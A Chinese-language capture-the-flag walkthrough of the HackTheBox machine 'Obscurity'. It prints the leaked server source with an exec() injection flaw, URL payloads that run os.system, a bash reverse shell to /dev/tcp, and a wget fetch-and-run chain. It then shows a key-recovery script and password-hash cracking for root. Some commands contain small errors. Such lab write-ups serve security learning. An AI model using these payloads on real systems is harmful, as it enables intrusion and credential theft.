大家好,今天給大家帶來的CTF挑戰靶機是來自hackthebox的“Obscurity”,hackthebox是一個非常不錯的線上實驗平台,能幫助你提升滲透測試技能和黑盒測試技能,平台上有很多靶機,從易到難,各個級别的靶機都有。本級靶機難度為中等級别,任務是找到靶機上的user.txt和root.txt。
摘要 - 源碼洩露 & RCE
- 加密腳本破解 & 擷取使用者
- root 密碼破解
資訊收集
nmap掃出了 22 , 8080 端口
root@localhost:~/hackthebox_workspace/finish/Obscurity# nmap -v -Pn -A 10.10.10.168
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 16:17 CST
Scanning obscurity.htb (10.10.10.168) [1000 ports]
Discovered open port 8080/tcp on 10.10.10.168
Discovered open port 22/tcp on 10.10.10.168
SYN Stealth Scan Timing: About 42.25% done; ETC: 16:18 (0:00:42 remaining)
Completed SYN Stealth Scan at 16:18, 49.61s elapsed (1000 total ports)
Initiating Service scan at 16:18
Scanning 2 services on obscurity.htb (10.10.10.168)
Nmap scan report for obscurity.htb (10.10.10.168)
Host is up (0.43s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
複制

檢視 8080 的 web ,發現提示 SuperSecureServer.py
已知檔案名為 SuperSecureServer.py,然後我們使用wufzz掃描路徑
root@localhost:~/hackthebox_workspace/finish/Obscurity# wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404 http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
Total requests: 949
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000259: 200 170 L 498 W 5892 Ch "develop"
Finishing pending requests...
複制
路徑為 :
http://obscurity.htb:8080/develop/SuperSecureServer.py
源碼洩露 & getshell
得出源碼
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
複制
vuln 代碼如下:
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
複制
發現了 exec() 執行指令,可以構造指令注入
雖然python預設省略 ; 符号,但我們仍可以利用 ; 分割代碼語句
利用ping -c 4測試是否成功
payload為:
> http:/obscurity:8080/';os.system('ping -c 4 10.10.xx.xxx');path='/';'
burp檢視資料包傳回時間判斷是否成功
圖檔
反彈腳本為
root@localhost:~/hackthebox_workspace/finish/Obscurity# cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.xx.xx/xxxx 0>&1
複制
用 SimpleHTTPServer 子產品傳輸反彈腳本
> python -m SimpleHTTPServer 80
觸發反彈url為(依次執行,并且在執行前用 nc 監聽端口):
> http:/obscurity:8080/';os.system('wget http://10.10.xx.xx/shell.sh -0 /tmp/shell.sh');path='/';'
>http:/obscurity:8080/';os.system('chmod +x /tmp/shell.sh');path='/';'
> http:/obscurity:8080/';os.system('./tmp/shell.sh');path='/';'
加密腳本破解
獲得shell後枚舉發現使用者 robert
在 robert 檔案夾下發現功能為加密的腳本
腳本源碼為
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
複制
主要源碼:
for x in text:
> keyChr = key[keyPos]
> newChr = ord(x)
> newChr = chr((newChr + ord(keyChr)) % 255)
> encrypted += newChr
> keyPos += 1
> keyPos = keyPos % keylen
> ```
> (字元串的每個字的10進制) -(輸入的key密鑰的10進制)
>
> 得出的東西再編碼成10進制
> *簡單的10進制加解密*
複制
破解腳本
import sys
import argparse
def decrypt(entext,detext):
keyword = ""
a=-1
for x in entext:
a += 1
newChr=ord(x)
for i in range(48,123):
decrypted=chr((newChr-i)%255)
if decrypted == detext[a]:
print(detext[a],end=" ")
keyword += chr(i)+" "
break
return keyword
def main():
parser = argparse.ArgumentParser(description='Dencrypt programming')
parser.add_argument('-e',metavar='',type=str,help='Encrypted word',required=False)
parser.add_argument('-t',metavar='',type=str,help='The plaintext you already know',required=False)
args = parser.parse_args()
if args.e != None or args.t != None:
print("Reading file {0}".format(args.e))
with open(args.e,'r',encoding='UTF-8') as f:
endata=f.read()
with open(args.t,'r',encoding='UTF-8') as f:
dedata=f.read()
print(decrypt(endata,dedata))
else:
print("./decry.py -e demo -t demo")
if __name__ == "__main__":
main()
複制
chmod +x decry.py
./decry.py -e /home/robert/out.txt -p /home/robert/check.txt
得出密鑰
alexandrovich
把密鑰寫到key檔案中
touch /home/robert/key
echo "alexandrovich" >> /home/robert/key
./decry.py -e /home/robert/passwordreminder.txt -p /home/robert/key
得到密碼并ssh登入robert得到user.txt
root 擷取
在使用者的檔案夾下面有一個 root 所有的檔案夾
打開發現腳本
腳本源碼如下
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
複制
腳本把檔案移到 /tmp/SSH/ 下
然後判斷使用者輸入的賬号密碼,判斷失敗後會将檔案删除
破解後獲得root密碼
john passenc
複制
su root
cat ~/root.txt
複制
手握日月摘星辰,安全路上永不止步。